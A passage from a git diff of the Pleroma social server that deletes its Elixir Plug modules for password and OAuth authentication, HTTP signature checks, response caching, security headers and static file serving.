handle_bad_token(conn) - end - end - - defp assign_admin_user(conn) do - conn - |> assign(:user, %User{is_admin: true}) - |> OAuthScopesPlug.skip_plug() - end - - defp handle_bad_token(conn) do - RateLimiter.call(conn, name: :authentication) - end -end diff --git a/lib/pleroma/plugs/authentication_plug.ex b/lib/pleroma/plugs/authentication_plug.ex deleted file mode 100644 index 057ea42f1..000000000 --- a/lib/pleroma/plugs/authentication_plug.ex +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.AuthenticationPlug do - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.User - - import Plug.Conn - - require Logger - - def init(options), do: options - - def checkpw(password, "$6" <> _ = password_hash) do - :crypt.crypt(password, password_hash) == password_hash - end - - def checkpw(password, "$2" <> _ = password_hash) do - # Handle bcrypt passwords for Mastodon migration - Bcrypt.verify_pass(password, password_hash) - end - - def checkpw(password, "$pbkdf2" <> _ = password_hash) do - Pbkdf2.verify_pass(password, password_hash) - end - - def checkpw(_password, _password_hash) do - Logger.error("Password hash not recognized") - false - end - - def maybe_update_password(%User{password_hash: "$2" <> _} = user, password) do - do_update_password(user, password) - end - - def maybe_update_password(%User{password_hash: "$6" <> _} = user, password) do - do_update_password(user, password) - end - - def maybe_update_password(user, _), do: {:ok, user} - - defp do_update_password(user, password) do - user - |> User.password_update_changeset(%{ - "password" => password, - "password_confirmation" => password - }) - |> Pleroma.Repo.update() - end - - def call(%{assigns: %{user: %User{}}} = conn, _), do: conn - - def call( - %{ - assigns: %{ - auth_user: %{password_hash: password_hash} = auth_user, - auth_credentials: %{password: password} - } - } = conn, - _ - ) do - if checkpw(password, password_hash) do - {:ok, auth_user} = maybe_update_password(auth_user, password) - - conn - |> assign(:user, auth_user) - |> OAuthScopesPlug.skip_plug() - else - conn - end - end - - def call(%{assigns: %{auth_credentials: %{password: _}}} = conn, _) do - Pbkdf2.no_user_verify() - conn - end - - def call(conn, _), do: conn -end diff --git a/lib/pleroma/plugs/basic_auth_decoder_plug.ex b/lib/pleroma/plugs/basic_auth_decoder_plug.ex deleted file mode 100644 index af7ecb0d8..000000000 --- a/lib/pleroma/plugs/basic_auth_decoder_plug.ex +++ /dev/null @@ -1,25 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.BasicAuthDecoderPlug do - import Plug.Conn - - def init(options) do - options - end - - def call(conn, _opts) do - with ["Basic " <> header] <- get_req_header(conn, "authorization"), - {:ok, userinfo} <- Base.decode64(header), - [username, password] <- String.split(userinfo, ":", parts: 2) do - conn - |> assign(:auth_credentials, %{ - username: username, - password: password - }) - else - _ -> conn - end - end -end diff --git a/lib/pleroma/plugs/cache.ex b/lib/pleroma/plugs/cache.ex deleted file mode 100644 index f65c2a189..000000000 --- a/lib/pleroma/plugs/cache.ex +++ /dev/null @@ -1,136 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.Cache do - @moduledoc """ - Caches successful GET responses. - - To enable the cache add the plug to a router pipeline or controller: - - plug(Pleroma.Plugs.Cache) - - ## Configuration - - To configure the plug you need to pass settings as the second argument to the `plug/2` macro: - - plug(Pleroma.Plugs.Cache, [ttl: nil, query_params: true]) - - Available options: - - - `ttl`: An expiration time (time-to-live). This value should be in milliseconds or `nil` to disable expiration. Defaults to `nil`. - - `query_params`: Take URL query string into account (`true`), ignore it (`false`) or limit to specific params only (list). Defaults to `true`. - - `tracking_fun`: A function that is called on successfull responses, no matter if the request is cached or not. It should accept a conn as the first argument and the value assigned to `tracking_fun_data` as the second. - - Additionally, you can overwrite the TTL inside a controller action by assigning `cache_ttl` to the connection struct: - - def index(conn, _params) do - ttl = 60_000 # one minute - - conn - |> assign(:cache_ttl, ttl) - |> render("index.html") - end - - """ - - import Phoenix.Controller, only: [current_path: 1, json: 2] - import Plug.Conn - - @behaviour Plug - - @defaults %{ttl: nil, query_params: true} - - @impl true - def init([]), do: @defaults - - def init(opts) do - opts = Map.new(opts) - Map.merge(@defaults, opts) - end - - @impl true - def call(%{method: "GET"} = conn, opts) do - key = cache_key(conn, opts) - - case Cachex.get(:web_resp_cache, key) do - {:ok, nil} -> - cache_resp(conn, opts) - - {:ok, {content_type, body, tracking_fun_data}} -> - conn = opts.tracking_fun.(conn, tracking_fun_data) - - send_cached(conn, {content_type, body}) - - {:ok, record} -> - send_cached(conn, record) - - {atom, message} when atom in [:ignore, :error] -> - render_error(conn, message) - end - end - - def call(conn, _), do: conn - - # full path including query params - defp cache_key(conn, %{query_params: true}), do: current_path(conn) - - # request path without query params - defp cache_key(conn, %{query_params: false}), do: conn.request_path - - # request path with specific query params - defp cache_key(conn, %{query_params: query_params}) when is_list(query_params) do - query_string = - conn.params - |> Map.take(query_params) - |> URI.encode_query() - - conn.request_path <> "?" <> query_string - end - - defp cache_resp(conn, opts) do - register_before_send(conn, fn - %{status: 200, resp_body: body} = conn -> - ttl = Map.get(conn.assigns, :cache_ttl, opts.ttl) - key = cache_key(conn, opts) - content_type = content_type(conn) - - conn = - unless opts[:tracking_fun] do - Cachex.put(:web_resp_cache, key, {content_type, body}, ttl: ttl) - conn - else - tracking_fun_data = Map.get(conn.assigns, :tracking_fun_data, nil) - Cachex.put(:web_resp_cache, key, {content_type, body, tracking_fun_data}, ttl: ttl) - - opts.tracking_fun.(conn, tracking_fun_data) - end - - put_resp_header(conn, "x-cache", "MISS from Pleroma") - - conn -> - conn - end) - end - - defp content_type(conn) do - conn - |> Plug.Conn.get_resp_header("content-type") - |> hd() - end - - defp send_cached(conn, {content_type, body}) do - conn - |> put_resp_content_type(content_type, nil) - |> put_resp_header("x-cache", "HIT from Pleroma") - |> send_resp(:ok, body) - |> halt() - end - - defp render_error(conn, message) do - conn - |> put_status(:internal_server_error) - |> json(%{error: message}) - |> halt() - end -end diff --git a/lib/pleroma/plugs/digest.ex b/lib/pleroma/plugs/digest.ex deleted file mode 100644 index b521b3073..000000000 --- a/lib/pleroma/plugs/digest.ex +++ /dev/null @@ -1,14 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.DigestPlug do - alias Plug.Conn - require Logger - - def read_body(conn, opts) do - {:ok, body, conn} = Conn.read_body(conn, opts) - digest = "SHA-256=" <> (:crypto.hash(:sha256, body) |> Base.encode64()) - {:ok, body, Conn.assign(conn, :digest, digest)} - end -end diff --git a/lib/pleroma/plugs/ensure_authenticated_plug.ex b/lib/pleroma/plugs/ensure_authenticated_plug.ex deleted file mode 100644 index 3fe550806..000000000 --- a/lib/pleroma/plugs/ensure_authenticated_plug.ex +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureAuthenticatedPlug do - import Plug.Conn - import Pleroma.Web.TranslationHelpers - - alias Pleroma.User - - use Pleroma.Web, :plug - - def init(options) do - options - end - - @impl true - def perform( - %{ - assigns: %{ - auth_credentials: %{password: _}, - user: %User{multi_factor_authentication_settings: %{enabled: true}} - } - } = conn, - _ - ) do - conn - |> render_error(:forbidden, "Two-factor authentication enabled, you must use a access token.") - |> halt() - end - - def perform(%{assigns: %{user: %User{}}} = conn, _) do - conn - end - - def perform(conn, _) do - conn - |> render_error(:forbidden, "Invalid credentials.") - |> halt() - end -end diff --git a/lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex b/lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex deleted file mode 100644 index 7265bb87a..000000000 --- a/lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug do - import Pleroma.Web.TranslationHelpers - import Plug.Conn - - alias Pleroma.Config - alias Pleroma.User - - use Pleroma.Web, :plug - - def init(options) do - options - end - - @impl true - def perform(conn, _) do - public? = Config.get!([:instance, :public]) - - case {public?, conn} do - {true, _} -> - conn - - {false, %{assigns: %{user: %User{}}}} -> - conn - - {false, _} -> - conn - |> render_error(:forbidden, "This resource requires authentication.") - |> halt - end - end -end diff --git a/lib/pleroma/plugs/ensure_user_key_plug.ex b/lib/pleroma/plugs/ensure_user_key_plug.ex deleted file mode 100644 index 9795cdbde..000000000 --- a/lib/pleroma/plugs/ensure_user_key_plug.ex +++ /dev/null @@ -1,18 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.EnsureUserKeyPlug do - import Plug.Conn - - def init(opts) do - opts - end - - def call(%{assigns: %{user: _}} = conn, _), do: conn - - def call(conn, _) do - conn - |> assign(:user, nil) - end -end diff --git a/lib/pleroma/plugs/expect_authenticated_check_plug.ex b/lib/pleroma/plugs/expect_authenticated_check_plug.ex deleted file mode 100644 index 66b8d5de5..000000000 --- a/lib/pleroma/plugs/expect_authenticated_check_plug.ex +++ /dev/null @@ -1,20 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.ExpectAuthenticatedCheckPlug do - @moduledoc """ - Marks `Pleroma.Plugs.EnsureAuthenticatedPlug` as expected to be executed later in plug chain. - - No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). - """ - - use Pleroma.Web, :plug - - def init(options), do: options - - @impl true - def perform(conn, _) do - conn - end -end diff --git a/lib/pleroma/plugs/expect_public_or_authenticated_check_plug.ex b/lib/pleroma/plugs/expect_public_or_authenticated_check_plug.ex deleted file mode 100644 index ba0ef76bd..000000000 --- a/lib/pleroma/plugs/expect_public_or_authenticated_check_plug.ex +++ /dev/null @@ -1,21 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.ExpectPublicOrAuthenticatedCheckPlug do - @moduledoc """ - Marks `Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug` as expected to be executed later in plug - chain. - - No-op plug which affects `Pleroma.Web` operation (is checked with `PlugHelper.plug_called?/2`). - """ - - use Pleroma.Web, :plug - - def init(options), do: options - - @impl true - def perform(conn, _) do - conn - end -end diff --git a/lib/pleroma/plugs/federating_plug.ex b/lib/pleroma/plugs/federating_plug.ex deleted file mode 100644 index 09038f3c6..000000000 --- a/lib/pleroma/plugs/federating_plug.ex +++ /dev/null @@ -1,32 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FederatingPlug do - import Plug.Conn - - def init(options) do - options - end - - def call(conn, _opts) do - if federating?() do - conn - else - fail(conn) - end - end - - def federating?, do: Pleroma.Config.get([:instance, :federating]) - - # Definition for the use in :if_func / :unless_func plug options - def federating?(_conn), do: federating?() - - defp fail(conn) do - conn - |> put_status(404) - |> Phoenix.Controller.put_view(Pleroma.Web.ErrorView) - |> Phoenix.Controller.render("404.json") - |> halt() - end -end diff --git a/lib/pleroma/plugs/http_security_plug.ex b/lib/pleroma/plugs/http_security_plug.ex deleted file mode 100644 index c363b193b..000000000 --- a/lib/pleroma/plugs/http_security_plug.ex +++ /dev/null @@ -1,225 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.HTTPSecurityPlug do - alias Pleroma.Config - import Plug.Conn - - require Logger - - def init(opts), do: opts - - def call(conn, _options) do - if Config.get([:http_security, :enabled]) do - conn - |> merge_resp_headers(headers()) - |> maybe_send_sts_header(Config.get([:http_security, :sts])) - else - conn - end - end - - defp headers do - referrer_policy = Config.get([:http_security, :referrer_policy]) - report_uri = Config.get([:http_security, :report_uri]) - - headers = [ - {"x-xss-protection", "1; mode=block"}, - {"x-permitted-cross-domain-policies", "none"}, - {"x-frame-options", "DENY"}, - {"x-content-type-options", "nosniff"}, - {"referrer-policy", referrer_policy}, - {"x-download-options", "noopen"}, - {"content-security-policy", csp_string()} - ] - - if report_uri do - report_group = %{ - "group" => "csp-endpoint", - "max-age" => 10_886_400, - "endpoints" => [ - %{"url" => report_uri} - ] - } - - [{"reply-to", Jason.encode!(report_group)} | headers] - else - headers - end - end - - static_csp_rules = [ - "default-src 'none'", - "base-uri 'self'", - "frame-ancestors 'none'", - "style-src 'self' 'unsafe-inline'", - "font-src 'self'", - "manifest-src 'self'" - ] - - @csp_start [Enum.join(static_csp_rules, ";") <> ";"] - - defp csp_string do - scheme = Config.get([Pleroma.Web.Endpoint, :url])[:scheme] - static_url = Pleroma.Web.Endpoint.static_url() - websocket_url = Pleroma.Web.Endpoint.websocket_url() - report_uri = Config.get([:http_security, :report_uri]) - - img_src = "img-src 'self' data: blob:" - media_src = "media-src 'self'" - - # Strict multimedia CSP enforcement only when MediaProxy is enabled - {img_src, media_src} = - if Config.get([:media_proxy, :enabled]) && - !Config.get([:media_proxy, :proxy_opts, :redirect_on_failure]) do - sources = build_csp_multimedia_source_list() - {[img_src, sources], [media_src, sources]} - else - {[img_src, " https:"], [media_src, " https:"]} - end - - connect_src = ["connect-src 'self' blob: ", static_url, ?\s, websocket_url] - - connect_src = - if Config.get(:env) == :dev do - [connect_src, " http://localhost:3035/"] - else - connect_src - end - - script_src = - if Config.get(:env) == :dev do - "script-src 'self' 'unsafe-eval'" - else - "script-src 'self'" - end - - report = if report_uri, do: ["report-uri ", report_uri, ";report-to csp-endpoint"] - insecure = if scheme == "https", do: "upgrade-insecure-requests" - - @csp_start - |> add_csp_param(img_src) - |> add_csp_param(media_src) - |> add_csp_param(connect_src) - |> add_csp_param(script_src) - |> add_csp_param(insecure) - |> add_csp_param(report) - |> :erlang.iolist_to_binary() - end - - defp build_csp_from_whitelist([], acc), do: acc - - defp build_csp_from_whitelist([last], acc) do - [build_csp_param_from_whitelist(last) | acc] - end - - defp build_csp_from_whitelist([head | tail], acc) do - build_csp_from_whitelist(tail, [[?\s, build_csp_param_from_whitelist(head)] | acc]) - end - - # TODO: use `build_csp_param/1` after removing support bare domains for media proxy whitelist - defp build_csp_param_from_whitelist("http" <> _ = url) do - build_csp_param(url) - end - - defp build_csp_param_from_whitelist(url), do: url - - defp build_csp_multimedia_source_list do - media_proxy_whitelist = - [:media_proxy, :whitelist] - |> Config.get() - |> build_csp_from_whitelist([]) - - captcha_method = Config.get([Pleroma.Captcha, :method]) - captcha_endpoint = Config.get([captcha_method, :endpoint]) - - base_endpoints = - [ - [:media_proxy, :base_url], - [Pleroma.Upload, :base_url], - [Pleroma.Uploaders.S3, :public_endpoint] - ] - |> Enum.map(&Config.get/1) - - [captcha_endpoint | base_endpoints] - |> Enum.map(&build_csp_param/1) - |> Enum.reduce([], &add_source(&2, &1)) - |> add_source(media_proxy_whitelist) - end - - defp add_source(iodata, nil), do: iodata - defp add_source(iodata, []), do: iodata - defp add_source(iodata, source), do: [[?\s, source] | iodata] - - defp add_csp_param(csp_iodata, nil), do: csp_iodata - - defp add_csp_param(csp_iodata, param), do: [[param, ?;] | csp_iodata] - - defp build_csp_param(nil), do: nil - - defp build_csp_param(url) when is_binary(url) do - %{host: host, scheme: scheme} = URI.parse(url) - - if scheme do - [scheme, "://", host] - end - end - - def warn_if_disabled do - unless Config.get([:http_security, :enabled]) do - Logger.warn(" - .i;;;;i. - iYcviii;vXY: - .YXi .i1c. - .YC. . in7. - .vc. ...... ;1c. - i7, .. .;1; - i7, .. ... .Y1i - ,7v .6MMM@; .YX, - .7;. ..IMMMMMM1 :t7. - .;Y. ;$MMMMMM9. :tc. - vY. .. .nMMM@MMU. ;1v. - i7i ... .#MM@M@C. .....:71i - it: .... $MMM@9;.,i;;;i,;tti - :t7. ..... 0MMMWv.,iii:::,,;St. - .nC. ..... IMMMQ..,::::::,.,czX. - .ct: ....... .ZMMMI..,:::::::,,:76Y. - c2: ......,i..Y$M@t..:::::::,,..inZY - vov ......:ii..c$MBc..,,,,,,,,,,..iI9i - i9Y ......iii:..7@MA,..,,,,,,,,,....;AA: - iIS. ......:ii::..;@MI....,............;Ez. - .I9. ......:i::::...8M1..................C0z. - .z9; ......:i::::,.. .i:...................zWX. - vbv ......,i::::,,. ................. :AQY - c6Y. .,...,::::,,..:t0@@QY. ................ :8bi - :6S. ..,,...,:::,,,..EMMMMMMI. ............... .;bZ, - :6o, .,,,,..:::,,,..i#MMMMMM#v................. YW2. - .n8i ..,,,,,,,::,,,,.. tMMMMM@C:.................. .1Wn - 7Uc. .:::,,,,,::,,,,.. i1t;,..................... .UEi - 7C...::::::::::::,,,,.. .................... vSi. - ;1;...,,::::::,......... .................. Yz: - v97,......... .voC. - izAotX7777777777777777777777777777777777777777Y7n92: - .;CoIIIIIUAA666666699999ZZZZZZZZZZZZZZZZZZZZ6ov. - -HTTP Security is disabled. Please re-enable it to prevent users from attacking -your instance and your users via malicious posts: - - config :pleroma, :http_security, enabled: true - ") - end - end - - defp maybe_send_sts_header(conn, true) do - max_age_sts = Config.get([:http_security, :sts_max_age]) - max_age_ct = Config.get([:http_security, :ct_max_age]) - - merge_resp_headers(conn, [ - {"strict-transport-security", "max-age=#{max_age_sts}; includeSubDomains"}, - {"expect-ct", "enforce, max-age=#{max_age_ct}"} - ]) - end - - defp maybe_send_sts_header(conn, _), do: conn -end diff --git a/lib/pleroma/plugs/http_signature.ex b/lib/pleroma/plugs/http_signature.ex deleted file mode 100644 index 036e2a773..000000000 --- a/lib/pleroma/plugs/http_signature.ex +++ /dev/null @@ -1,65 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.HTTPSignaturePlug do - import Plug.Conn - import Phoenix.Controller, only: [get_format: 1, text: 2] - require Logger - - def init(options) do - options - end - - def call(%{assigns: %{valid_signature: true}} = conn, _opts) do - conn - end - - def call(conn, _opts) do - if get_format(conn) == "activity+json" do - conn - |> maybe_assign_valid_signature() - |> maybe_require_signature() - else - conn - end - end - - defp maybe_assign_valid_signature(conn) do - if has_signature_header?(conn) do - # set (request-target) header to the appropriate value - # we also replace the digest header with the one we computed - request_target = String.downcase("#{conn.method}") <> " #{conn.request_path}" - - conn = - conn - |> put_req_header("(request-target)", request_target) - |> case do - %{assigns: %{digest: digest}} = conn -> put_req_header(conn, "digest", digest) - conn -> conn - end - - assign(conn, :valid_signature, HTTPSignatures.validate_conn(conn)) - else - Logger.debug("No signature header!") - conn - end - end - - defp has_signature_header?(conn) do - conn |> get_req_header("signature") |> Enum.at(0, false) - end - - defp maybe_require_signature(%{assigns: %{valid_signature: true}} = conn), do: conn - - defp maybe_require_signature(conn) do - if Pleroma.Config.get([:activitypub, :authorized_fetch_mode], false) do - conn - |> put_status(:unauthorized) - |> text("Request not signed") - |> halt() - else - conn - end - end -end diff --git a/lib/pleroma/plugs/idempotency_plug.ex b/lib/pleroma/plugs/idempotency_plug.ex deleted file mode 100644 index f41397075..000000000 --- a/lib/pleroma/plugs/idempotency_plug.ex +++ /dev/null @@ -1,84 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.IdempotencyPlug do - import Phoenix.Controller, only: [json: 2] - import Plug.Conn - - @behaviour Plug - - @impl true - def init(opts), do: opts - - # Sending idempotency keys in `GET` and `DELETE` requests has no effect - # and should be avoided, as these requests are idempotent by definition. - - @impl true - def call(%{method: method} = conn, _) when method in ["POST", "PUT", "PATCH"] do - case get_req_header(conn, "idempotency-key") do - [key] -> process_request(conn, key) - _ -> conn - end - end - - def call(conn, _), do: conn - - def process_request(conn, key) do - case Cachex.get(:idempotency_cache, key) do - {:ok, nil} -> - cache_resposnse(conn, key) - - {:ok, record} -> - send_cached(conn, key, record) - - {atom, message} when atom in [:ignore, :error] -> - render_error(conn, message) - end - end - - defp cache_resposnse(conn, key) do - register_before_send(conn, fn conn -> - [request_id] = get_resp_header(conn, "x-request-id") - content_type = get_content_type(conn) - - record = {request_id, content_type, conn.status, conn.resp_body} - {:ok, _} = Cachex.put(:idempotency_cache, key, record) - - conn - |> put_resp_header("idempotency-key", key) - |> put_resp_header("x-original-request-id", request_id) - end) - end - - defp send_cached(conn, key, record) do - {request_id, content_type, status, body} = record - - conn - |> put_resp_header("idempotency-key", key) - |> put_resp_header("idempotent-replayed", "true") - |> put_resp_header("x-original-request-id", request_id) - |> put_resp_content_type(content_type) - |> send_resp(status, body) - |> halt() - end - - defp render_error(conn, message) do - conn - |> put_status(:unprocessable_entity) - |> json(%{error: message}) - |> halt() - end - - defp get_content_type(conn) do - [content_type] = get_resp_header(conn, "content-type") - - if String.contains?(content_type, ";") do - content_type - |> String.split(";") - |> hd() - else - content_type - end - end -end diff --git a/lib/pleroma/plugs/instance_static.ex b/lib/pleroma/plugs/instance_static.ex deleted file mode 100644 index 0fb57e422..000000000 --- a/lib/pleroma/plugs/instance_static.ex +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.InstanceStatic do - require Pleroma.Constants - - @moduledoc """ - This is a shim to call `Plug.Static` but with runtime `from` configuration. - - Mountpoints are defined directly in the module to avoid calling the configuration for every request including non-static ones. - """ - @behaviour Plug - - def file_path(path) do - instance_path = - Path.join(Pleroma.Config.get([:instance, :static_dir], "instance/static/"), path) - - frontend_path = Pleroma.Plugs.FrontendStatic.file_path(path, :primary) - - (File.exists?(instance_path) && instance_path) || - (frontend_path && File.exists?(frontend_path) && frontend_path) || - Path.join(Application.app_dir(:pleroma, "priv/static/"), path) - end - - def init(opts) do - opts - |> Keyword.put(:from, "__unconfigured_instance_static_plug") - |> Plug.Static.init() - end - - for only <- Pleroma.Constants.static_only_files() do - def call(%{request_path: "/" <> unquote(only) <> _} = conn, opts) do - call_static( - conn, - opts, - Pleroma.Config.get([:instance, :static_dir], "instance/static") - ) - end - end - - def call(conn, _) do - conn - end - - defp call_static(conn, opts, from) do - opts = - opts - |> Map.put(:from, from) - - Plug.Static.call(conn, opts) - end -end diff --git a/lib/pleroma/plugs/legacy_authentication_plug.ex b/lib/pleroma/plugs/legacy_authentication_plug.ex deleted file mode 100644 index d346e01a6..000000000 --- a/lib/pleroma/plugs/legacy_authentication_plug.ex +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.LegacyAuthenticationPlug do - import Plug.Conn - - alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.User - - def init(options) do - options - end - - def call(%{assigns: %{user: %User{}}} = conn, _), do: conn - - def call( - %{ - assigns: %{ - auth_user: %{password_hash: "$6$" <> _ = password_hash} = auth_user, - auth_credentials: %{password: password} - } - } = conn, - _ - ) do - with ^password_hash <- :crypt.crypt(password, password_hash), - {:ok, user} <- - User.reset_password(auth_user, %{password: password, password_confirmation: password}) do - conn - |> assign(:auth_user, user) - |> assign(:user, user) - |> OAuthScopesPlug.skip_plug() - else - _ -> - conn - end - end - - def call(conn, _) do - conn - end -end diff --git a/lib/pleroma/plugs/mapped_signature_to_identity_plug.ex b/lib/pleroma/plugs/mapped_signature_to_identity_plug.ex deleted file mode 100644 index f44d4dee5..000000000 --- a/lib/pleroma/plugs/mapped_signature_to_identity_plug.ex +++ /dev/null @@ -1,71 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.Plugs.MappedSignatureToIdentityPlug do - alias Pleroma.Signature - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Utils - - import Plug.Conn - require Logger - - def init(options), do: options - - defp key_id_from_conn(conn) do - with %{"keyId" => key_id} <- HTTPSignatures.signature_for_conn(conn), - {:ok, ap_id} <- Signature.key_id_to_actor_id(key_id) do - ap_id - else - _ -> - nil - end - end - - defp user_from_key_id(conn) do - with key_actor_id when is_binary(key_actor_id) <- key_id_from_conn(conn), - {:ok, %User{} = user} <- User.get_or_fetch_by_ap_id(key_actor_id) do - user - else - _ -> - nil - end - end - - def call(%{assigns: %{user: _}} = conn, _opts), do: conn - - # if this has payload make sure it is signed by the same actor that made it - def call(%{assigns: %{valid_signature: true}, params: %{"actor" => actor}} = conn, _opts) do - with actor_id <- Utils.get_ap_id(actor), - {:user, %User{} = user} <- {:user, user_from_key_id(conn)}, - {:user_match, true} <- {:user_match, user.ap_id == actor_id} do - assign(conn, :user, user) - else - {:user_match, false} -> - Logger.debug("Failed to map identity from signature (payload actor mismatch)") - Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}, actor=#{inspect(actor)}") - assign(conn, :valid_signature, false) - - # remove me once testsuite uses mapped capabilities instead of what we do now - {:user, nil} -> - Logger.debug("Failed to map identity from signature (lookup failure)") - Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}, actor=#{actor}") - conn - end - end - - # no payload, probably a signed fetch - def call(%{assigns: %{valid_signature: true}} = conn, _opts) do - with %User{} = user <- user_from_key_id(conn) do - assign(conn, :user, user) - else - _ -> - Logger.debug("Failed to map identity from signature (no payload actor mismatch)") - Logger.debug("key_id=#{inspect(key_id_from_conn(conn))}") - assign(conn, :valid_signature, false) - end - end - - # no signature at all - def call(conn, _opts), do: conn -end diff --git a/lib/pleroma/plugs/o_auth_plug.ex b/lib/pleroma/plugs/o_auth_plug.ex deleted file mode 100644 index 6fa71ef47..000000000 --- a/lib/pleroma/plugs/o_auth_plug.ex +++ /dev/null @@ -1,120 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.OAuthPlug do - import Plug.Conn - import Ecto.Query - - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.App - alias Pleroma.Web.OAuth.Token - - @realm_reg Regex.compile!("Bearer\:?\s+(.*)$", "i") - - def init(options), do: options - - def call(%{assigns: %{user: %User{}}} = conn, _), do: conn - - def call(%{params: %{"access_token" => access_token}} = conn, _) do - with {:ok, user, token_record} <- fetch_user_and_token(access_token) do - conn - |> assign(:token, token_record) - |> assign(:user, user) - else - _ -> - # token found, but maybe only with app - with {:ok, app, token_record} <- fetch_app_and_token(access_token) do - conn - |> assign(:token, token_record) - |> assign(:app, app) - else - _ -> conn - end - end - end - - def call(conn, _) do - case fetch_token_str(conn) do - {:ok, token} -> - with {:ok, user, token_record} <- fetch_user_and_token(token) do - conn - |> assign(:token, token_record) - |> assign(:user, user) - else - _ -> - # token found, but maybe only with app - with {:ok, app, token_record} <- fetch_app_and_token(token) do - conn - |> assign(:token, token_record) - |> assign(:app, app) - else - _ -> conn - end - end - - _ -> - conn - end - end - - # Gets user by token - # - @spec fetch_user_and_token(String.t()) :: {:ok, User.t(), Token.t()} | nil - defp fetch_user_and_token(token) do - query = - from(t in Token, - where: t.token == ^token, - join: user in assoc(t, :user), - preload: [user: user] - ) - - # credo:disable-for-next-line Credo.Check.Readability.MaxLineLength - with %Token{user: user} = token_record <- Repo.one(query) do - {:ok, user, token_record} - end - end - - @spec fetch_app_and_token(String.t()) :: {:ok, App.t(), Token.t()} | nil - defp fetch_app_and_token(token) do - query = - from(t in Token, where: t.token == ^token, join: app in assoc(t, :app), preload: [app: app]) - - with %Token{app: app} = token_record <- Repo.one(query) do - {:ok, app, token_record} - end - end - - # Gets token from session by :oauth_token key - # - @spec fetch_token_from_session(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_from_session(conn) do - case get_session(conn, :oauth_token) do - nil -> :no_token_found - token -> {:ok, token} - end - end - - # Gets token from headers - # - @spec fetch_token_str(Plug.Conn.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_str(%Plug.Conn{} = conn) do - headers = get_req_header(conn, "authorization") - - with :no_token_found <- fetch_token_str(headers), - do: fetch_token_from_session(conn) - end - - @spec fetch_token_str(Keyword.t()) :: :no_token_found | {:ok, String.t()} - defp fetch_token_str([]), do: :no_token_found - - defp fetch_token_str([token | tail]) do - trimmed_token = String.trim(token) - - case Regex.run(@realm_reg, trimmed_token) do - [_, match] -> {:ok, String.trim(match)} - _ -> fetch_token_str(tail) - end - end -end diff --git a/lib/pleroma/plugs/o_auth_scopes_plug.ex b/lib/pleroma/plugs/o_auth_scopes_plug.ex deleted file mode 100644 index b1a736d78..000000000 --- 